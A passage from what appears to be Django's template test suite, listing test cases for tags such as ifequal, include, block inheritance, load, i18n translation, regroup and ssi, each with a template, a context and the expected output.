            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
